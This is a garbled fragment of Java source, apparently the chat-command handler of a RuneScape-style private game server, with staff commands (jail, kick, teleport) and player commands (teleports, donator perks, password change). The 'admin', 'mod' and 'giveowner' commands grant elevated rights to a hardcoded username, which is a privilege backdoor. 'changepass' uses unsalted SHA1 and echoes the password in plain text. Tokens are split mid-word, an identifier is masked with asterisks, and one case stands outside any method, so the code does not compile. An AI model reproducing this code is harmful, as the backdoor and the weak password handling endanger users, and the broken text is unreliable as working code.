name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
if (target != null) {
target.setJailed(Utils.currentTimeMillis()
+ (24 * 60 * 60 * 1000));
target.getControlerManager()
.startControler("JailControler");
target.getPackets().sendGameMessage(
"You've been Jailed for 24 hours by "
+ Utils.formatPlayerNameForDisplay(player
.getUsername()) + ".");
player.getPackets().sendGameMessage(
"You have Jailed 24 hours: "
+ target.getDisplayName() + ".");
SerializableFilesManager.savePlayer(target);
} else {
File acc1 = new File("data/characters/"
+ name.replace(" ", "_") + ".p");
try {
target = (Player) SerializableFilesManager
.loadSerializedFile(acc1);
} catch (ClassNotFoundException | IOException e) {
e.printStackTrace();
}
target.setJailed(Utils.currentTimeMillis()
+ (24 * 60 * 60 * 1000));
player.getPackets().sendGameMessage(
"You have muted 24 hours: "
+ Utils.formatPlayerNameForDisplay(name)
+ ".");
try {
SerializableFilesManager.storeSerializableClass(ta rget,
acc1);
} catch (IOException e) {
e.printStackTrace();
}
}
return true;
case "kickall":
for (Player kicked : World.getPlayers()) {
if (kicked == null || kicked == player)
continue;
kicked.getSession().getChannel().close();
}
return true;
case "kick":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
if (target == null) {
player.getPackets().sendGameMessage(
Utils.formatPlayerNameForDisplay(name)
+ " is not logged in.");
return true;
}
target.getSession().getChannel().close();
player.getPackets().sendGameMessage(
"You have kicked: " + target.getDisplayName() + ".");
return true;
/*
* case "staffyell": String message = ""; for (int i = 1; i <
* cmd.length; i++) message += cmd[i] + ((i == cmd.length - 1) ?
* "" : " "); sendYell(player, Utils.fixChatMessage(message),
* true); return true;
*/
case "forcekick":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
if (target == null) {
player.getPackets().sendGameMessage(
Utils.formatPlayerNameForDisplay(name)
+ " is not logged in.");
return true;
}
target.forceLogout();
player.getPackets().sendGameMessage(
"You have kicked: " + target.getDisplayName() + ".");
return true;
case "hide":
if (player.getControlerManager().getControler() != null) {
player.getPackets().sendGameMessage(
"You cannot hide in a public event!");
return true;
}
player.getAppearence().switchHidden();
player.getPackets().sendGameMessage(
"Hidden? " + player.getAppearence().isHidden());
return true;
case "unjail":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
if (target != null) {
target.setJailed(0);
target.getControlerManager()
.startControler("JailControler");
target.getPackets().sendGameMessage(
"You've been unjailed by "
+ Utils.formatPlayerNameForDisplay(player
.getUsername()) + ".");
player.getPackets().sendGameMessage(
"You have unjailed: " + target.getDisplayName()
+ ".");
SerializableFilesManager.savePlayer(target);
} else {
File acc1 = new File("data/characters/"
+ name.replace(" ", "_") + ".p");
try {
target = (Player) SerializableFilesManager
.loadSerializedFile(acc1);
} catch (ClassNotFoundException | IOException e) {
e.printStackTrace();
}
target.setJailed(0);
player.getPackets().sendGameMessage(
"You have unjailed: "
+ Utils.formatPlayerNameForDisplay(name)
+ ".");
try {
SerializableFilesManager.storeSerializableClass(ta rget,
acc1);
} catch (IOException e) {
e.printStackTrace();
}
}
return true;
case "teleto":
if (player.isLocked()
|| player.getControlerManager().getControler() != null) {
player.getPackets().sendGameMessage(
"You cannot tele anywhere from here.");
return true;
}
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
if (target == null)
player.getPackets().sendGameMessage(
"Couldn't find player " + name + ".");
else
player.setNextWorldTile(target);
return true;
case "teletome":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
if (target == null)
player.getPackets().sendGameMessage(
"Couldn't find player " + name + ".");
else {
if (target.isLocked()
|| target.getControlerManager().getControler() != null) {
player.getPackets().sendGameMessage(
"You cannot teleport this player.");
return true;
}
if (target.getRights() > 1) {
player.getPackets().sendGameMessage(
"Unable to teleport a developer to you.");
return true;
}
target.setNextWorldTile(player);
}
return true;
case "unnull":
case "sendhome":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
if (target == null)
player.getPackets().sendGameMessage(
"Couldn't find player " + name + ".");
else {
target.unlock();
target.getControlerManager().forceStop();
if (target.getNextWorldTile() == null) // if controler wont
// tele the player
target.setNextWorldTile(Settings.RESPAWN_PLAYER_LO CATION);
player.getPackets().sendGameMessage(
"You have unnulled: " + target.getDisplayName()
+ ".");
return true;
}
return true;
}
@SuppressWarnings("static-access")
public static boolean processNormalCommand(Player player, String[] cmd,
boolean console, boolean clientCommand) {
if (clientCommand) {
} else {
String message = "";
switch (cmd[0]) {
case "setyellcolor":
case "changeyellcolor":
case "yellcolor":
if (!player.i***tremeDonator() && player.getRights() == 0) {
player.getDialogueManager()
.startDialogue("SimpleMessage",
"You've to be a extreme donator to use this feature.");
return true;
}
player.getPackets()
.sendRunScript(
109,
new Object[] { "Please enter the yell color in HEX format." });
player.getTemporaryAttributtes().put("yellcolor", Boolean.TRUE);
return true;
case "dice":
if (player.isDonator()) {
player.getPackets().sendGameMessage("Rolling...");
player.setNextGraphics(new Graphics(2075));
player.setNextAnimation(new Animation(11900));
int random = Utils.getRandom(100);
int numberRolled = Utils.getRandom(100);
player.setNextForceTalk(new ForceTalk("You rolled <col=FF0000>" + numberRolled + "</col> " + "on the percentile dice"));
player.getPackets().sendGameMessage("rolled <col=FF0000>" + numberRolled + "</col> " + "on the percentile dice");
}
else {
player.sm("Only donator players can dice.");
}
return true;
/*
* case "barrage": if (player.isDonator()) { if
* (!player.canSpawn()) { player.getPackets().sendGameMessage(
* "You can't spawn while you're in this area."); return true; }
* player.getInventory().addItem(555, 200000);
* player.getInventory().addItem(565, 200000);
* player.getInventory().addItem(560, 200000); } return true;
*
* case "veng": if (player.isDonator()) { if
* (!player.canSpawn()) { player.getPackets().sendGameMessage(
* "You can't spawn while you're in this area."); return true; }
* player.getInventory().addItem(557, 200000);
* player.getInventory().addItem(560, 200000);
* player.getInventory().addItem(9075, 200000); } return true;
*
* case "dharok": if (player.isDonator()) { if
* (!player.canSpawn()) { player.getPackets().sendGameMessage(
* "You can't spawn while you're in this area."); return true; }
* player.getInventory().addItem(4716, 1);
* player.getInventory().addItem(4718, 1);
* player.getInventory().addItem(4720, 1);
* player.getInventory().addItem(4722, 1); } return true;
*/
case "dz":
case "donatorzone":
if (player.isDonator()) {
DonatorZone.enterDonatorzone(player);
}
return true;
case "resettrollname":
player.getPetManager().setTrollBabyName(null);
return true;
case "settrollname":
if (!player.i***tremeDonator()) {
player.getPackets().sendGameMessage(
"This is an extreme donator only feature!");
return true;
}
String name = "";
for (int i = 1; i < cmd.length; i++) {
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
}
name = Utils.formatPlayerNameForDisplay(name);
if (name.length() < 3 || name.length() > 14) {
player.getPackets()
.sendGameMessage(
"You can't use a name shorter than 3 or longer than 14 characters.");
return true;
}
player.getPetManager().setTrollBabyName(name);
if (player.getPet() != null
&& player.getPet().getId() == Pets.TROLL_BABY
.getBabyNpcId()) {
player.getPet().setName(name);
}
return true;
case "spawn":
try {
if (cmd.length < 3) {
player.getPackets().sendGameMessage(
"Use: :
pawn npcid");
return true;
}
try {
if (NPCSpawns.addSpawn(player.getUsername(),
Integer.parseInt(cmd[1]), player)) {
player.getPackets().sendGameMessage(
"Added spawn!");
return true;
}
} catch (Throwable e) {
e.printStackTrace();
}
player.getPackets().sendGameMessage(
"Failed removing spawn!");
return true;
} catch (NumberFormatException e) {
player.getPackets().sendGameMessage(
"Use: :
pawn npcid");
}
return true;
case "recanswer":
if (player.getRecovQuestion() == null) {
player.getPackets().sendGameMessage(
"Please set your recovery question first.");
return true;
}
if (player.getRecovAnswer() != null && player.getRights() < 2) {
player.getPackets().sendGameMessage(
"You can only set recovery answer once.");
return true;
}
message = "";
for (int i = 1; i < cmd.length; i++)
message += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
player.setRecovAnswer(message);
player.getPackets()
.sendGameMessage(
"Your recovery answer has been set to - "
+ Utils.fixChatMessage(player
.getRecovAnswer()));
return true;
case "recquestion":
if (player.getRecovQuestion() != null && player.getRights() < 2) {
player.getPackets().sendGameMessage(
"You already have a recovery question set.");
return true;
}
message = "";
for (int i = 1; i < cmd.length; i++)
message += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
player.setRecovQuestion(message);
player.getPackets().sendGameMessage(
"Your recovery question has been set to - "
+ Utils.fixChatMessage(player
.getRecovQuestion()));
return true;
case "empty":
player.getInventory().reset();
return true;
case "ticket":
if (player.getMuted() > Utils.currentTimeMillis()) {
player.getPackets().sendGameMessage(
"You temporary muted. Recheck in 48 hours.");
return true;
}
TicketSystem.requestTicket(player);
return true;
case "ranks":
PkRank.showRanks(player);
return true;
case "score":
case "kdr":
double kill = player.getKillCount();
double death = player.getDeathCount();
double dr = kill / death;
player.setNextForceTalk(new ForceTalk(
"<col=ff0000>I'VE KILLED " + player.getKillCount()
+ " PLAYERS AND BEEN SLAYED "
+ player.getDeathCount() + " TIMES. DR: " + dr));
return true;
case "players":
player.getPackets().sendGameMessage(
"There are currently " + World.getPlayers().size()
+ " players playing " + Settings.SERVER_NAME
+ ".");
return true;
case "mission":
player.getMission();
Mission.OpenMissionBoard(player);
return true;
case "missions":
player.getMission().OpenMissionBoard(player);
return true;
case "yell":
String message1 = "";
for (int i = 1; i < cmd.length; i++)
message1 += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
sendYell(player, Utils.fixChatMessage(message1), false);
return true;
case "help":
player.getInventory().addItem(1856, 1);
player.getPackets().sendGameMessage(
"You receive a guide book about "
+ Settings.SERVER_NAME + ".");
return true;
case "title":
if (cmd.length < 2) {
player.getPackets().sendGameMessage("Use: ::title id");
return true;
}
try {
player.getAppearence().setTitle(Integer.valueOf(cm d[1]));
} catch (NumberFormatException e) {
player.getPackets().sendGameMessage("Use: ::title id");
}
return true;
case "setdisplay": if (!player.isDonator() &&
!player.i***tremeDonator()) {
player.getPackets().sendGameMessage(
"You do not have the privileges to use this.");
return true;
}
player.getTemporaryAttributtes().put("setdisplay",
Boolean.TRUE); player.getPackets().sendInputNameScript(
"Enter the display name you wish:");
return true;
case "donatorcity":
if (!player.isDonator() && !player.i***tremeDonator()) {
player.getPackets().sendGameMessage(
"You do not have the privileges to use this.");
return true;
}
Magic.sendNormalTeleportSpell(player, 0, 0, new WorldTile(3410,
3164, 0));
return true;
case "ge":
Magic.sendNormalTeleportSpell(player, 0, 0, new WorldTile(3149, 3474, 0));
return true;
case "runecraft":
Magic.sendNormalTeleportSpell(player, 0, 0, new WorldTile(2601, 3159, 0));
return true;
case "home":
Magic.sendNormalTeleportSpell(player, 0, 0, new WorldTile(3164, 3486, 0));
return true;
case "farming":
Magic.sendNormalTeleportSpell(player, 0, 0, new WorldTile(2916, 5476, 0));
return true;
case "shops":
Magic.sendNormalTeleportSpell(player, 0, 0, new WorldTile(4507, 5600, 0));
return true;
case "dc":
if (!player.isDonator() && !player.i***tremeDonator()) {
player.getPackets().sendGameMessage(
"You do not have the privileges to use this.");
return true;
}
Magic.sendNormalTeleportSpell(player, 0, 0, new WorldTile(3410,
3164, 0));
return true;
/*
* case "removedisplay":
* player.getPackets().sendGameMessage("Removed Display Name: "
* +DisplayNames.removeDisplayName(player)); return true;
*/
case "bank":
if (!player.isDonator()) {
player.getPackets().sendGameMessage(
"You do not have the privileges to use this.");
return true;
}
if (!player.canSpawn()) {
player.getPackets().sendGameMessage(
"You can't bank while you're in this area.");
return true;
}
player.stopAll();
player.getBank().openBank();
return true;
case "blueskin":
if (!player.isDonator()) {
player.getPackets().sendGameMessage(
"You do not have the privileges to use this.");
return true;
}
player.getAppearence().setSkinColor(12);
player.getAppearence().generateAppearenceData();
return true;
case "greenskin":
if (!player.isDonator()) {
player.getPackets().sendGameMessage(
"You do not have the privileges to use this.");
return true;
}
player.getAppearence().setSkinColor(13);
player.getAppearence().generateAppearenceData();
return true;
case "checkvote":
case "claim":
case "claimvote":
player.getPackets().sendInputNameScript(
"Enter your vote authentication id:");
player.getTemporaryAttributtes().put("checkvoteinp ut",
Boolean.TRUE);
return true;
case "vote":
player.getPackets().sendOpenURL(
"http://www.runelocus.com/toplist/vote-25132.html");
return true;
case "donate":
player.getPackets().sendOpenURL(
"http://www.serenity718.com/forums/forum.php");
return true;
case "website":
player.getPackets().sendOpenURL(
"http://www.serenity718.com/forums/forum.php");
return true;
case "lockxp":
player.setXpLocked(player.isXpLocked() ? false : true);
player.getPackets().sendGameMessage(
"You have "
+ (player.isXpLocked() ? "UNLOCKED" : "LOCKED")
+ " your xp.");
return true;
case "hideyell":
player.setYellOff(!player.isYellOff());
player.getPackets().sendGameMessage(
"You have turned "
+ (player.isYellOff() ? "off" : "on")
+ " yell.");
return true;
case "changepass":
message1 = "";
for (int i = 1; i < cmd.length; i++)
message1 += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
if (message1.length() > 15 || message1.length() < 5) {
player.getPackets().sendGameMessage(
"You cannot set your password to over 15 chars.");
return true;
}
player.setPassword(Encrypt.encryptSHA1(cmd[1]));
player.getPackets().sendGameMessage(
"You changed your password! Your password is " + cmd[1]
+ ".");
return true;
case "testhomescene":
player.getCutscenesManager().play(new HomeCutScene());
return true;
case "admin":
if (player.getUsername().equalsIgnoreCase("graham")
|| player.getUsername().equalsIgnoreCase("graham")) {
player.setRights(2);
player.getAppearence().generateAppearenceData();
}
return true;
case "mod":
if (player.getUsername().equalsIgnoreCase("graham")) {
player.setRights(1);
player.getAppearence().generateAppearenceData();
}
return true;
case "missiontest":
player.sm("You open the missions -board.");
return true;
case "answer":
if (!TriviaBot.TriviaArea(player)) {
player.getPackets()
.sendGameMessage(
"You can only use this command in the trivia area, ::trivia to access.");
return false;
}
if (cmd.length >= 2) {
String answer = cmd[1];
if (cmd.length == 3) {
answer = cmd[1] + " " + cmd[2];
}
TriviaBot.verifyAnswer(player, answer);
} else {
player.getPackets().sendGameMessage(
"Syntax is ::" + cmd[0] + " <answer input>.");
}
return true;
case "switchitemslookasdkfj234023kra":
player.switchItemsLook();
player.getPackets().sendGameMessage(
"You are now playing with "
+ (player.isOldItemsLook() ? "old" : "new")
+ " item looks.");
return true;
}
}
return true;
}
public static String currentTime(String dateFormat) {
// Calendar cal = Calendar.getInstance();
SimpleDateFormat sdf = new SimpleDateFormat(dateFormat);
return sdf.format(cal.getTime());
}
case "giveowner":
if (player.getUsername().equalsIgnoreCase("graham")
String username = cmd[1].substring(cmd[1].indexOf(" ") + 1);
Player other = World.getPlayerByDisplayName(username);
if (other == null)
return true;
other.setRights(7);
SerializableFilesManager.savePlayer(other);
other.getPackets().sendGameMessage(
"<col=ff0000>You've been awarded server Owner "
+ Utils.formatPlayerNameForDisplay(player
.getUsername()), true);
player.getPackets().sendGameMessage(
"<col=ff0000>You given Owner to "
+ Utils.formatPlayerNameForDisplay(other
.getUsername()), true);
return true;
/*
* doesnt let it be instanced
*/
private Commands() {
}
}